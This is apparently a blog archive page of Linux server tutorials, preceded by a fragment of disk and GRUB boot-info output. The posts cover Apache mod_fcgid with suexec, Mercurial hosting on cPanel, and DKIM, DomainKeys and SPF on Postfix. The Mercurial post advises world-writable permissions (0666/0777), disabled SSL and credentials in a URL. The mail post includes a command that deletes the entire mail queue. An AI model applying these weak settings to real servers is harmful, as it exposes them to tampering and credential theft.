Sector size (logical/physical): 512 bytes / 512 bytes
Partition Boot Start End Size Id System
/dev/sdb1 * 2,048 206,847 204,800 7 HPFS/NTFS
/dev/sdb2 206,911 1,342,554,688 1,342,347,778 7 HPFS/NTFS
/dev/sdb3 1,930,344,448 1,953,521,663 23,177,216 7 HPFS/NTFS
/dev/sdb4 1,342,556,158 1,930,344,447 587,788,290 5 Extended
/dev/sdb5 1,342,556,160 1,896,806,399 554,250,240 83 Linux
/dev/sdb6 1,896,808,448 1,930,344,447 33,536,000 82 Linux swap / Solaris
Drive: pdc_bdadcfbdif ___________________ _____________________________________________________
Disk /dev/mapper/pdc_bdadcfbdif: 750.0 GB, 749999947776 bytes
255 heads, 63 sectors/track, 91182 cylinders, total 1464843648 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
Partition Boot Start End Size Id System
/dev/mapper/pdc_bdadcfbdif1 * 2,048 206,847 204,800 7 HPFS/NTFS
/dev/mapper/pdc_bdadcfbdif2 206,911 1,440,372,735 1,440,165,825 7 HPFS/NTFS
/dev/mapper/pdc_bdadcfbdif3 1,440,372,736 1,464,856,575 24,483,840 7 HPFS/NTFS
/dev/mapper/pdc_bdadcfbdif3 ends after the last sector of /dev/mapper/pdc_bdadcfbdif
blkid -c /dev/null: ____________________________________________________________
Device UUID TYPE LABEL
/dev/mapper/pdc_bdadcfbdif1 888E54CC8E54B482 ntfs SYSTEM
/dev/mapper/pdc_bdadcfbdif2 C2766BF6766BEA1D ntfs OS
/dev/mapper/pdc_bdadcfbdif: PTTYPE="dos"
/dev/sda1 888E54CC8E54B482 ntfs SYSTEM
/dev/sda2 C2766BF6766BEA1D ntfs OS
/dev/sda3 BE6CA31D6CA2CF87 ntfs HP_RECOVERY
/dev/sda promise_fasttrack_raid_member
/dev/sdb1 20B65685B6565B7C ntfs SYSTEM
/dev/sdb2 B4467A314679F508 ntfs HP
/dev/sdb3 6E10B7A410B77227 ntfs FACTORY_IMAGE
/dev/sdb4: PTTYPE="dos"
/dev/sdb5 266f9801-cf4f-4acc-affa-2092be035f0c ext4
/dev/sdb6 1df35749-a887-45ff-a3de-edd52239847d swap
/dev/sdb: PTTYPE="dos"
error: /dev/mapper/pdc_bdadcfbdif3: No such file or directory
error: /dev/sdc: No medium found
error: /dev/sdd: No medium found
error: /dev/sde: No medium found
error: /dev/sdf: No medium found
error: /dev/sdg: No medium found
============================ "mount | grep ^/dev output: ===========================
Device Mount_Point Type Options
/dev/sdb5 / ext4 (rw,errors=remount-ro,commit=0)
=========================== sdb5/boot/grub/grub.cfg: ===========================
#
# DO NOT EDIT THIS FILE
#
# It is automatically generated by grub-mkconfig using templates
# from /etc/grub.d and settings from /etc/default/grub
#
### BEGIN /etc/grub.d/00_header ###
if [ -s $prefix/grubenv ]; then
set have_grubenv=true
load_env
fi
set default="0"
if [ "${prev_saved_entry}" ]; then
set saved_entry="${prev_saved_entry}"
save_env saved_entry
set prev_saved_entry=
save_env prev_saved_entry
set boot_once=true
fi
function savedefault {
if [ -z "${boot_once}" ]; then
saved_entry="${chosen}"
save_env saved_entry
fi
}
function recordfail {
set recordfail=1
if [ -n "${have_grubenv}" ]; then if [ -z "${boot_once}" ]; then save_env recordfail; fi; fi
}
function load_video {
insmod vbe
insmod vga
insmod video_bochs
insmod video_cirrus
}
insmod part_msdos
insmod ext2
set root='(/dev/sdb,msdos5)'
search --no-floppy --fs-uuid --set=root 266f9801-cf4f-4acc-affa-2092be035f0c
if loadfont /usr/share/grub/unicode.pf2 ; then
set gfxmode=auto
load_video
insmod gfxterm
fi
terminal_output gfxterm
insmod part_msdos
insmod ext2
set root='(/dev/sdb,msdos5)'
search --no-floppy --fs-uuid --set=root 266f9801-cf4f-4acc-affa-2092be035f0c
set locale_dir=($root)/boot/grub/locale
set lang=en_US
insmod gettext
if [ "${recordfail}" = 1 ]; then
set timeout=-1
else
set timeout=10
fi
### END /etc/grub.d/00_header ###
### BEGIN /etc/grub.d/05_debian_theme ###
set menu_color_normal=white/black
set menu_color_highlight=black/light-gray
if background_color 44,0,30; then
clear
fi
### END /etc/grub.d/05_debian_theme ###
### BEGIN /etc/grub.d/10_linux ###
if [ ${recordfail} != 1 ]; then
if [ -e ${prefix}/gfxblacklist.txt ]; then
if hwmatch ${prefix}/gfxblacklist.txt 3; then
if [ ${match} = 0 ]; then
set linux_gfx_mode=keep
else
set linux_gfx_mode=text
fi
else
set linux_gfx_mode=text
fi
else
set linux_gfx_mode=keep
fi
else
set linux_gfx_mode=text
fi
export linux_gfx_mode
if [ "$linux_gfx_mode" != "text" ]; then load_video; fi
menuentry 'Ubuntu, with Linux 2.6.38-8-generic-pae' --class ubuntu --class gnu-linux --class gnu --class os {
recordfail
set gfxpayload=$linux_gfx_mode
insmod part_msdos
insmod ext2
set root='(/dev/sdb,msdos5)'
search --no-floppy --fs-uuid --set=root 266f9801-cf4f-4acc-affa-2092be035f0c
linux /boot/vmlinuz-2.6.38-8-generic-pae root=UUID=266f9801-cf4f-4acc- affa-2092be035f0c ro quiet splash vt.handoff=7
initrd /boot/initrd.img-2.6.38-8-generic-pae
}
menuentry 'Ubuntu, with Linux 2.6.38-8-generic-pae (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os {
recordfail
set gfxpayload=$linux_gfx_mode
insmod part_msdos
insmod ext2
set root='(/dev/sdb,msdos5)'
search --no-floppy --fs-uuid --set=root 266f9801-cf4f-4acc-affa-2092be035f0c
echo 'Loading Linux 2.6.38-8-generic-pae ...'
linux /boot/vmlinuz-2.6.38-8-generic-pae root=UUID=266f9801-cf4f-4acc-affa-2092be035f0c ro single
echo 'Loading initial ramdisk ...'
initrd /boot/initrd.img-2.6.38-8-generic-pae
}
### END /etc/grub.d/10_linux ###
### BEGIN /etc/grub.d/20_linux_xen ###
### END /etc/grub.d/20_linux_xen ###
### BEGIN /etc/grub.d/20_memtest86+ ###
menuentry "Memory test (memtest86+)" {
insmod part_msdos
insmod ext2
set root='(/dev/sdb,msdos5)'
search --no-floppy --fs-uuid --set=root 266f9801-cf4f-4acc-affa-2092be035f0c
linux16 /boot/memtest86+.bin
}
menuentry "Memory test (memtest86+, serial console 115200)" {
insmod part_msdos
insmod ext2
set root='(/dev/sdb,msdos5)'
search --no-floppy --fs-uuid --set=root 266f9801-cf4f-4acc-affa-2092be035f0c
linux16 /boot/memtest86+.bin console=ttyS0,115200n8
}
### END /etc/grub.d/20_memtest86+ ###
### BEGIN /etc/grub.d/30_os-prober ###
menuentry "Windows 7 (loader) (on /dev/sdb1)" --class windows --class os {
insmod part_msdos
insmod ntfs
set root='(/dev/sdb,msdos1)'
search --no-floppy --fs-uuid --set=root 20B65685B6565B7C
chainloader +1
}
menuentry "Windows Recovery Environment (loader) (on /dev/sdb3)" --class windows --class os {
insmod part_msdos
insmod ntfs
set root='(/dev/sdb,msdos3)'
search --no-floppy --fs-uuid --set=root 6E10B7A410B77227
drivemap -s (hd0) ${root}
chainloader +1
}
### END /etc/grub.d/30_os-prober ###
### BEGIN /etc/grub.d/40_custom ###
# This file provides an easy way to add custom menu entries. Simply type the
# menu entries you want to add after this comment. Be careful not to change
# the 'exec tail' line above.
### END /etc/grub.d/40_custom ###
### BEGIN /etc/grub.d/41_custom ###
if [ -f $prefix/custom.cfg ]; then
source $prefix/custom.cfg;
fi
### END /etc/grub.d/41_custom ###
=============================== sdb5/etc/fstab: ===============================
# /etc/fstab: static file system information.
#
# Use 'blkid -o value -s UUID' to print the universally unique identifier
# for a device; this may be used with UUID= as a more robust way to name
# devices that works even if disks are added and removed. See fstab(5).
#
# <file system> <mount point> <type> <options> <dump> <pass>
proc /proc proc nodev,noexec,nosuid 0 0
# / was on /dev/sdb5 during installation
UUID=266f9801-cf4f-4acc-affa-2092be035f0c / ext4 errors=remount-ro 0 1
# swap was on /dev/sdb6 during installation
UUID=1df35749-a887-45ff-a3de-edd52239847d none swap sw 0 0
=================== sdb5: Location of files loaded by Grub: ===================
900.1GB: boot/grub/core.img
825.0GB: boot/grub/grub.cfg
688.7GB: boot/initrd.img-2.6.38-8-generic-pae
688.0GB: boot/vmlinuz-2.6.38-8-generic-pae
688.7GB: initrd.img
688.0GB: vmlinuz
=========================== Unknown MBRs/Boot Sectors/etc =======================
Unknown BootLoader on pdc_bdadcfbdif3
=======Devices which don't seem to have a corresponding hard drive==============
sdc sdd sde sdf sdg
=============================== StdErr Messages: ===============================
ERROR: dos: partition address past end of RAID device
hexdump: /dev/mapper/pdc_bdadcfbdif3: No such file or directory
hexdump: /dev/mapper/pdc_bdadcfbdif3: No such file or directory
ERROR: dos: partition address past end of RAID device
|
Posted: August 14th, 2014 | Author: admin | Filed under: General | No Comments »
Background
On linux machines (Mac too) the default installation of Apache+PHP is sometime not suitable for modern script due to at least two reasons:
1. speed
2. user rights
While the first is obvious, the second one needs some explanations and the best way is by giving a real-world example. In the Symfony framework the content is prepared under a "cache" folder for achieving a very good speed in processing requests. The framework also uses some command prompt statements for achieving various tasks such as database structure update, warming up the cache, etc. As one knows, all requests processed by Apache runs by default under its user, be it "apache", "www" or "nobody". On the other hand the command line statements run under the current logged-in user, let's call it "myuser". Both actions above uses the same cache folder and here is where the conflict appears, since one cannot update the other's files. Hence the need to run the script under the same user, both withing the Apache and from the command prompt. Plus that is faster (developers would like this).
Goal & solution
One recommended configuration for achieving the speed is to replace the standard mod_php with mod_fcgid, meaning that the process won't run anymore inside Apache but as an external process called by Apache when needed.
As for running the process as another user than Apache's, there is suexec which consists of a module running under apache and a binary executable acting as a wrapper.
The configuration presented here uses virtual hosts, a know feature of Apache letting one run multiple websites on the same computer, each with its own configuration, folder and user account. The process of configuring the server is split in two parts, first for configuring the mod_fcgid module then adding suexec mechanism.
Configuring mod_fcgid
The configuration starts by disabling the standard php module and installing the mod_fcgid module. The steps differs based on the linux distribution therefore the steps below will be given for Ubuntu and Mac so the reader will have to figure out how it works for other ditributions.
Ubuntu:
sudo apt-get install libapache2-mod-fcgid php5 php5-cgi
Note that this article assume that apache is already installed. If php5 is also installed is even better, just be sure php5-cgi is also.
Mac
sudo port install php5 +fastcgi
<span style="color: #c20cb9; font-weight: bold;">sudo</span> port <span style="color: #c20cb9; font-weight: bold;">install</span> mod_fcgid
Then disable mod_php end enable mod_fcgid:
Ubuntu:
sudo a2dismod php5
sudo a2enmod fcgid
Mac:
sudo vi /private/etc/apache2/httpd.conf
Comment this line: #LoadModule php5_module libexec/apache2/libphp5.so
Add/uncomment this line: LoadModule fcgid_module libexec/apache2/mod_fcgid.so
Add this line to your php.ini (Ubuntu: /etc/php5/cgi/php.ini, Mac: /etc/php.ini)
cgi.fix_pathinfo=1
Tip: the location of php.ini differs and not only that, there may be two different files, one for PHP as module and the other for PHP as CGI. Locate them in the system with:
locate php.ini
A better approach can be to use php itself to tell where is its ini file:
php -i |grep php.ini
Result:
Loaded Configuration File => /etc/php.ini
Additional useful information, in case one needs to know what PHP version runs from command line, especially where there are two PHP versions installed:
#which php
/usr/bin/php
#php -v
PHP 5.4.24 (cli) (built: Jan 19 2014 21:32:15)
Now is the time to configure mod_fcgid and this is done in two places: one global place inside apache's own confguration files and the other in each site. The global configuration file looks like this:
Ubuntu (/etc/apache2/mods-enabled/fcgid.conf):
<IfModule mod_fcgid.c>
AddHandler fcgid-script .fcgi
FcgidConnectTimeout 20
FcgidFixPathinfo 1
FcgidMaxRequestLen 2097152
</IfModule>
Mac (/etc/apache2/other/fcgid.conf):
<IfModule mod_fcgid.c>
FcgidIPCDir /usr/lib/apache2/fcgid/sock
FcgidProcessTableFile /usr/lib/apache2/fcgid/fcgid_shm
FcgidConnectTimeout 20
FcgidFixPathinfo 1
# fix for: mod_fcgid: read data timeout in 40 seconds
FcgidIdleTimeout 3000
FcgidMinProcessesPerClass 100
FcgidConnectTimeout 120
FcgidIOTimeout 400
FcgidMaxProcesses 150
FcgidBusyTimeout 600
# to get around upload errors when uploading images increase the MaxRequestLen size to 15MB
FcgidMaxRequestLen 15728640
FcgidProcessLifeTime 7200
</IfModule>
Although the Mac configuration seems more complex, it is only because more configuration directives have been used. Normally the two may look the same, except the paths of FcgidIPCDir and FcgidProcessTableFile
Tip: Be aware that the names of the directives were changed since mod_fcgid 2.3.2 (it is currently at version 2.3.9). The reason you're warned here is because many answers online uses PHP_Fix_Pathinfo_Enable instead of FcgidFixPathinfo. (all changes in the table here). The most important directives to use are: FcgidFixPathinfo, FcgidMaxRequestLen and FcgidBusyTimeout.
The site configuration file should include the followings somewhere inside <VirtualHost> tags:
Ubuntu (/etc/apache2/sites-available/yoursite.com.conf) & Mac (/etc/apache2/extra/httpd-vhosts.conf):
<IfModule mod_fcgid.c>
#SuexecUserGroup myuser mygroup
<Directory /var/www/yoursite.com/ >
Options +ExecCGI
AllowOverride All
AddHandler fcgid-script .php
FcgidWrapper /var/www/php-fcgi-scripts/php-fcgi-starter .php
Order allow,deny
Allow from all
</Directory>
</IfModule>
Tip: Note that in the above configuration the line with SuexecUserGroup had been commented. This is to avoid seeing errors caused by Suexec while setting up fcgid. Later the line will be un-commented. Or, if you feel lucky, un-comment it now.
Once the above are set, restart apache:
Ubuntu: sudo service apache2 restart
Mac: sudo apachectl restart
Now is is time to talk about the log files because they tell valuable information about the problems which may occur.
Apache's log file to watch is named "error_log" and there you may find issues related to why the server does not start, when some SSL configuration is broken or when suexec has issues.
Suexec has its own log in the same folder as Apache's and there you will find issues related to user rights or problems when running the executable.
Each site is recommended to have its own access and error log files. There you will find errors related to the script or accessing the script, acting as a starting point in solving the issues. In case of errors related to suexec you will find here only some indications, while the details have to be found in the suexec file above
Configuring suexec
This executable binary usually comes with Apache but on a Mac installation this binary was missing. With or without it, sometimes is necessary to adjust its default settings, e.g. those it has been compiled with. Below all these situations will be covered so one can skip some steps if the default installation fits the needs.
Begin with checking the location end existence of suexec:
# which suexec
If the binary is not in the path you won't get any result. Try this:
# locate suexec
The output should be a path like /usr/lib/apache2/suexec on Ubuntu or /usr/bin/suexec on Mac, but the location may vary.
Once you located it, run it to see its current settings. Since it is supposed to be run by root only, you need to use "sudo":
Ubuntu:
# sudo /usr/lib/apache2/suexec -V
-D AP_DOC_ROOT="/var/www"
-D AP_GID_MIN=100
-D AP_HTTPD_USER="www-data"
-D AP_LOG_EXEC="/var/log/apache2/suexec.log"
-D AP_SAFE_PATH="/usr/local/bin:/usr/bin:/bin"
-D AP_UID_MIN=100
-D AP_USERDIR_SUFFIX="public_html"
Mac:
#sudo /usr/bin/suexec -V
Password:
-D AP_DOC_ROOT="/Users"
-D AP_GID_MIN=10
-D AP_HTTPD_USER="_www"
-D AP_LOG_EXEC="/var/log/apache2/suexec_log"
-D AP_SAFE_PATH="/usr/local/bin:/usr/bin:/bin"
-D AP_UID_MIN=500
-D AP_USERDIR_SUFFIX="Sites"
Pay attention to DOC_ROOT : it is the only path allowed to run executable (wrapper) from. The HTTPD_USER is useful in verifying that the wrapper is accessible by this user Finally, UID and GID are constraints for minimum user and group IDs, as they are defined in the /etc/passwd file.
The wrapper file is being launched by Apache for any request whose extension ends in PHP, as defined in the site's configuration file above and suexec must have the rights to access it. Also, the file must be inside DOC_ROOT. The file looks like this:
#!/bin/sh
PHPRC=/etc/php5/cgi/
export PHPRC
export PHP_FCGI_MAX_REQUESTS=5000
export PHP_FCGI_CHILDREN=8
exec /usr/lib/cgi-bin/php
Tip: PHPRC is the path up to php.ini. The executable on the last line must be the cgi version of php binary. Sometimes (on Mac) it is called "php-cgi" and is under /opt/local/bin/. Just check yours using "which" or "locate" and run it as "php-cgi -v" to verify that it is ok and has the expected version.
So, create the file under DOC_ROOT, let's say "/var/www/php-fcgi-scripts/php-fcgi-starter" with the above content and make it executable (chmod a+x /var/www/php-fcgi-scripts/php-fcgi-starter). Take care yourself of creating the folder php-fcgi-scripts and assigning it the proper user and group (myuser and mygroup).
Tip: an easy way to verify that a user can access that file is to add "-v" as parameter for php on the last line then call it with:
su myuser -c "/var/www/php-fcgi-scripts/php-fcgi-starter"
In other words: "run this command as user myuser" and it will display the PHP version. Remove the parameter afterward. Repeat: remove the parameter afterward (so it will run whatever PHP file will be send by Apache as parameter)
Back on track now, if everything goes well you should remove the comment to SuexecUserGroup and restart Apache. Prepare a simple PHP file in the site's root folder with the following content:
<?php phpinfo();
If everything was setup successfully then you'll get the nice long listing with PHP's current configuration. Among those lines you will find references to mod_fcgid and all other features configured.
Notes from author
I wanted to put these notes online as a compilation of multiple installations I made with this particular configuration on different linux distributions because I spent many hours finding information and solving all sort of issues myself. If the article contains errors, please let me know. If needs completion, please let me know. I hope that you will use the time you'll save here to teach someone else something.
Posted: March 23rd, 2012 | Author: Alex Iordache | Filed under: General | No Comments »
Mercurial is a cross-platform, distributed revision control tool for software developers. In this article will be presented a handy way to install and configure Mercurial on a server with cPanel . All operations presented will only need a standard FTP/SSH access to a user account, except the initial installation of the Mercurial RPM which needs root rights. This installation procedure is very suitable for those creating websites and wanting a quick solution to track the changes in their source code using a repository stored right next to the website.
The information below were compiled from several sources with some modifications to suit the above needs. The aim is to use only cPanel and SSH with user rights (e.g. no root required !) and have a repository ready in 5 minutes. The repository will then be accessed securely as hg.yoursite.com
Intial preparation: install the Mercurial package as root http://mercurial.selenic.com/wiki/HgWebDirStepByStep
Here is a sample installation from a RPM on an OpenSuse linux:
wget http://download.opensuse.org/repositories/devel:/tools:/scm/openSUSE_10.2/x86_64/mercurial-1.0-1.2.x86_64.rpm
$ sudo rpm -ihv mercurial-1.0-1.2.x86_64.rpm
Step 1. Create subdomain
Login in cPanel and create hg.yourdomain.com. Do not create the directory under /public_html so the repository won't mix with the files of the website
Step 2. Create the configuration file of the repository
Use a FTP client and navigate into the directory of the subdomain. Create a folder for your repo, i.e. projectrepo . Use some name other than the one you want to access the repo with because later there will be some URL rewiting rules added into a .htaccess file which won't work otherwise. In this example the repo url will be made as hg.yourdomain.com/project
Continue navigating into cgi-bin where two files has to be be uploaded: hgweb.config containing the repository configuration and hgwebdir.cgi containing the code needed to run the repository. Create the two files on your computer and upload them into /cgi-bin:
/cgi-bin/hgweb.config
[paths]
#VIRTUAL_PATH = /REAL/PATH
project = ~/hg/projectrepo
/cgi-bin/hgwebdir.cgi
#!/usr/bin/env python
from mercurial import demandimport; demandimport.enable()
import cgitb
cgitb.enable()
import os
os.environ["HGENCODING"] = "UTF-8"
from mercurial.hgweb.hgwebdir_mod import hgwebdir
import mercurial.hgweb.wsgicgi as wsgicgi
application = hgwebdir('hgweb.config')
wsgicgi.launch(application)
Change the attributes of hgwebdir.cgi to be executable (0755). This can be made within the FTP client (at least TotalCommander implements it and probably many other such applications have that option. It is under Files->Change attributes).
Step 3. Initialize repository
Using a SSH console go into the ~/hg folder and run these commands:
hg init
find . -type f -exec chmod 0666 "{}" \;
find . -type d -exec chmod 0777 "{}" \;
The last two commands are needed when the web server (Apache) runs the scripts under a different user than the owner of the account. In order to create files and folder full write rights are needed for user apache or nobody.
A configuration file will have to be created and uploaded into the new repository. For this , create a file named hgrc with the following content:
~/hg/project/.hg/hgrc
[web]
description = My repository
push_ssl = false
allow_push = john
# enable snapshot downloads
allow_archive = gz zip bz2
baseurl = /
In this configuration the ssl is disabled which may be a security problem. If your host allows https connections then you may set this to true later. However, the repository is protected through HTTP Basic authentication – see below.
Upload the file above under ~/hg/project/.hg/
Step 4. Secure the repository
Create a .htaccess file with the following content for uploading in the root of your subdomain:
~/hg/.htaccess
# Taken from http://www.pmwiki.org/wiki/Cookbook/CleanUrls#samedir
# Used at http://ggap.sf.net/hg/
Options +ExecCGI
RewriteEngine On
#write base depending on where the base url lives
RewriteBase /cgi-bin
RewriteRule ^$ hgwebdir.cgi [L]
# Send requests for files that exist to those files.
RewriteCond %{REQUEST_FILENAME} !-f
# Send requests for directories that exist to those directories.
RewriteCond %{REQUEST_FILENAME} !-d
# Send requests to hgwebdir.cgi, appending the rest of url.
RewriteRule (.*) /cgi-bin/hgwebdir.cgi/$1 [QSA,L]
The rules above allows accessing the repository with an url like hg.yourdomain.com/project instead of hg.yourdomain.com/cgi-bin/hgwebdir.cgi/project and is a replacement for the original procedure described in the Mercurial documentation where one has to modify httpd.conf, as root.
Finally, password protect the repository within cpanel. The operations below will update .htaccess, adding the necessary lines for basic authentication:
Finish
Access your repository within a browser with an URL like:
http://john:[email protected]/hg/project
Use the URL above in your Mercurial client too.
Referrences
Posted: April 3rd, 2010 | Author: Alex Iordache | Filed under: Server side | Tags: dkim, domainkeys, postfix, sender-id, spf | 11 Comments »
The authentication methods are a great tool for fighting against spammers and every server admin should have it implemented on their systems. But since it is not that simple to configure them, they often prove to be a headache with not enough documentation available. I had to pay myself the tribute (in hours spent) for making the system work in the configuration I wanted and for the others having the same problems here is my story.My configuration is : CentOS 5, Postfix 2.3.3
The server is running some websites and I wanted to be capable of sending signed emails within PHP and also using some email client through SMTP. Since there are more than one website I wanted also a simple way to add/modify domains in the filters' configuration.
Whenever I write "domain.tld" you should use your own domain name (mysite.com, wikitiki.org, etc)
The tools I installed are listed here under the Authentication section. They are:
dkfilter - a SMTP-proxy signing filter. Quite easy to install but, as the author says, it is good for sending authenticated email served by the port 587 not 25 which is why I give up on it. My server must be able to send emails from PHP and act as a SMTP mail server for another server.
dkim-milter – DKIM signer/verifier (http://sourceforge.net/projects/dkim-milter/)
dk-milter – Domainkeys sender/verifier. (http://sourceforge.net/projects/dk-milter/) Pay attention to these names because it is a lot of confusion because not only DK and DKIM sounds alike but their executable are called "filters": dkim-filter and dk-filter. Couldn't be much more complicated for newbies.
sid-milter – Sender ID verifier. Note that it's a verifier only ! (http://sourceforge.net/projects/sid-milter/)
1. DKIM
Installing dkim. For this follow one of these links:
How to Setup DomainKeys Identified Mail (DKIM) with Postfix and Ubuntu Server
Setting up DKIM, SPF, Domainkeys DNS, Regular DNS on CentOS 5.3
I won't go through the installation steps you can read about in tutorials as above. Instead I will focus on what should be checked, customized, verified so that will help in custom installations or troubleshooting.
So, for the installation I will focus on:
subject value description
username/usergroup domainkeys.domainkeys This is the owner of the signer/verifier processes. Doesn't matter the names but once created will be used for all filters
folders for configuration /etc/mail/dkim/
/etc/mail/domainkeys/ These must be owned by the user above. When adding new domains I have to modify some files here
initialization scripts /etc/init.d/dkim
/etc/init.d/domainkeys
/etc/init.d/sender-id Essentially is the same start-up script configured for each filter. Good to know where they are when testing the configuration
folders for private keys /var/db/domainkeys/domain.tld/ These must be owned by the user above. Here I'll place the private keys
folders & files for processes' PIDs /var/run/dkim-milter/pid
/var/run/dk-milter/pid
/var/run/dk-milter/pid These also have to be owned by the user above. The filters will create/remove the "pid" files as they need
OK, so here there are some background information. DKIM and Domainkeys uses two DNS records and a private key to sign the emails. The DNS records are
policy record. It is defined as a TXT record :
_domainkey.domain.tld IN TXT "t=y;o=~"
t=y means the domain is in test mode. When everything works it can be changed to "n"
o=~ means that some emails will be signed. "o=-" means that all domains are signed
selector record. Also a TXT record storing the key and other parameters:
default._domainkey.domain.tld IN TXT "g=*; k=rsa; p=MIGfMA0...ABC"
"default" is the selector name and will be the same as the one used for generating the keys – see below
"_domainkey" is a keyword preceding the domain name
"k=" key type. Optional. Default is rsa
"p=" public key data.
"g=" granularity of the key. Optional, default is "*"
"v=DKIM1" version. It is recommended but I got some errors when I tried to use the same record for Domainkeys because it is defined for DKIM only so I did not use it. Here is the yahoo tool I tested with
Note: in the two dns records above I used "domain.tld" only because my external nameserver service required it in its web interface. If you own the namesever you will probably not use it as will be appended automatically by named/bind
Important : the server may sign ALL emails with its own domain name or may sign it with other domains but in this case all other domains must have the two DNS records maintained. I went for the first option.
Generating the keys
there are three ways to generate them:
The result will always be two files, one private key to copy into /var/db/domainkeys/domain.tld/default and one to use it in the DNS record as value for "p=" parameter. Pay attention that I used "default" as filename for the private key in order to use that file for a selector named "default" and defined as such in the DNS record. It is possible to have different selectors which would handle different emails or domains and so I can have:
/var/db/domainkeys/domain.tld/m1.pem – this is created for the selectod m1 and I added an extension just to remember it is a private key file. the extension, if exists, must be "pem" or "private".
/var/db/domainkeys/otherdomain.tld/default – this one will serve emails for another domain with another selector named "default"
The init script
The init script will start|stop the filter and there is where I put the command to do that. It may have two forms, either with the configuration given as parameters to the executable app or with it uses a single parameter which points to a configuration file containing all settings. I used the 2nd option:
COMMAND="dkim-filter -x /etc/dkim.conf"
Then I put in the dkim.conf file all the configuration parameters I needed. Don't forget to make it readable by the user defined above (domainkeys). Some of the most important parameters I put there are:
KeyList /etc/mail/dkim/keylist
MTA MSA
Selector default
UserID domainkeys:domainkeys
Socket inet:8891@localhost
Don't forget that the port numbers will be used in your /etc/postfix/main.cf file:
smtpd_milters = inet:localhost:9967,inet:localhost:8891,inet:localhost:8892
non_smtpd_milters = inet:localhost:9967,inet:localhost:8891,inet:localhost:8892
milter_protocol = 2
[[code]]czozMDpcIm1pbHRlcl9kZWZhdWx0X2FjdGlvbiA9IGFjY2VwdFwiO3tbJiomXX0=[[/code]]
I have here 3 filters, dkim, domainkeys and sender-id, each on its own port. You will find below the entire configuration file I created.
The keylist file
the keylist file contains the relation between the sender-pattern, the signing domain and the path to the private key. I use this keylist file in order to manage easier the domains on my webhost server. For a singe domain one would only use the dkim's configuration file. My keylist file's location is defined in the configuration :
KeyList /etc/mail/dkim/keylist
And contains :
*:domain.tld:/var/db/domainkeys/domain.tld/default
..meaning: all emails (*) will be signed with the domain "domain.tld" using the private key from the file "/var/…/default".
The selector used in the signature will be the filename portion of keypath. If the file referenced by keypath cannot be opened, the filter will try again by appending ".pem" and then ".private" before giving up. (man dkim-filter.conf)
Useful commands, part I
postsuper -d ALL
Delete all mail queue. Sometimes due to too many unsent emails the logs are filled in continuously by the emails in queue. For a clean start it's good to have an empty mail queue. Be careful on a production server (you may just ignore it)
mail [email protected]
Send emails from command line. good for a quick test. Verify the results on a yahoo account for both DKIM and Domainkeys
telnet localhost 25
EHLO domain.tld
MAIL FROM: [email protected]
RCPT TO: [email protected]
data
bla bla
.
quit
This is a suite of commands to test sending email through SMTP. Or you can use an email client set for sending through SMTP protocol
php -r "mail('[email protected]','test mail','bla bla','From: [email protected]');"
Let the email be sent within PHP. This will test PHP mail() configuration
A note here: At a certain point my mail sent from PHP was not signed with Domainkeys, only with DKIM. After several tests I found that the $headers in my php script were using Windows separator for new like (\r\n) instead of Linux (\n). I never thought it matters in headers !
Online tools: DomainKey Implementor's Tools and Library for email servers & clients especially "DomainKey Policy Record Tester." and "DomainKey Selector Record Tester."
tail -f /var/log/maillog
this is where I look for errors
2. Domainkeys
As above, start with the download & installation from the given links from sourceforge or with the ones below:
Quick And Easy Setup For DomainKeys Using Ubuntu, Postfix And Dkim-Filter
man dk-filter – DomainKeys filter for sendmail online version of the man page for dk-filter
The DNS records follows the same rules as the DKIM above. In fact both DKIM and Domainkeys will use the same DNS records
The init script
The dk-filter does not support all parameters supported by DKIM and especially the one which would allow me to put all configuration in one file therefore the command from this initialization script has all parameters in one line:
COMMAND="dk-filter -u $USER -p inet:$PORT@localhost -l -P $PIDFILE -d $DOMAIN -S $SELECTOR -c simple -k -s $KEYFILE -i $IFILE -m $SUBMISSION_DAEMON -D"
Parameters:
-u userid it runs under
-p socket to be used by the filter for allowing connections from postfix. It must use a different port number than dkim (of course)
-l log calls to syslog
-P pidfile – the file used to write the process ID into
-d domain list or path to a file containing the domain list one per line (wildcard * allowed in the domain name )
-S selector, the name of the selector to be used
-k Causes -s to be interpreted as the location of a key list
-s keyfile or keyfilepath. Since -k is used this one will be a path to my keyfile (/etc/mail/domainkeys/keylist)
-i a file of internal hosts whose mail should be signed rather than verified (/etc/mail/domainkeys/ilist)
-D Sign subdomains too
The content of the keylist (differs from DKIM's !):
*@domain.tld:/var/db/domainkeys/domain.tld/default
The ilist contains some IPs (local network's):
192.168.1.0/24127.0.0.1
Note that I am using "/etc/mail/dkim/trusted-hosts" as value for the -d (domain) parameter. This is a path pointing to a dkim folder because I want to make as little changes as possible when adding or removing a domain so I use it for both filters.
The keylist file
This is another small difference than the DKIM's keylist file content. It looks like this (/etc/mail/domainkeys/keylist) :
*@domain.tld:/var/db/domainkeys/domain.tld/default
Each line is in the form "sender-pattern:keypath" where sender-pattern is compared against the sender and keypath is the path to the private key file. The filename portion of this keypath is also the selector name
Some problems I run into
At some moment I got in maillog : "can't read SMFIC_EOH reply packet header: Success" which was solved after setting the SUBMISSION_DAEMON above as MSA (instead of smtp as I saw somewhere)
Playing with milter_protocol=4 in /etc/postfix/main.cf I got "can't read SMFIC_DATA reply packet header: Success" which was because I've given a value which was not supported. Also milter_protocol=6 thrown error so I let it set on : milter_protocol = 2
Useful commands, part II
3. Sender-id
This would be the 3rd filter installed and is aimed for hotmail accounts. There is a confusion between Sender-ID and SPF because they both use the same DNS registration record but the implementation of the Sender-ID protocol is similar with DKIM above. Read more about SPF vs Sender ID
Note that in order to sign the emails correctly one would only need the SPF record – see next section. At least this should work for 80% of the emails sent to hotmail/MSN according to the link above.
The init script
I named the init script "/etc/init.d/sender-id" and the command used to start the filter is:
COMMAND="sid-filter -u $USER -t -p inet:$PORT@localhost -l -P $PIDFILE -d $DOMAIN -D -h"
The parameters means:
-u username to run under
-t test mode (never reject messages)
-p socketspecs the socket for postfix to communicate with
-l log via syslog (/var/log/maillog)
-P the filename which will store the PID of the current process
-d a list of domains whose emails should be ignored by this filter.
Warning : this is a list of the domains to be ignored so if you want to see this filter's signature in the header of your emails then use an empty value for DOMAIN. Somehow strange in my opinion.
-D the way to handle the DNS errors (soft failures)
-h adds a header indicating the presence of this filter
4. SPF
The SPF authentication is used by google and is quite simple requiring no software installation on the server. In order to generate a SPF record for your domain you will probably have to go to the most-used tool :
Setup wizard to create SPF records for your domain
